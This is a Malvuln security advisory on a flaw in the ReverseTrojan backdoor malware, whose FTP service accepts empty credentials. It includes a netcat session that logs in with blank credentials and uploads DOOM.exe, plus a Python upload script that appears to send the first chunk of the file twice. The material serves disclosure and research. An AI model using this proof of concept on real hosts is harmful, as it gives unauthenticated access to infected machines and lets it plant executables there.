Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")
    print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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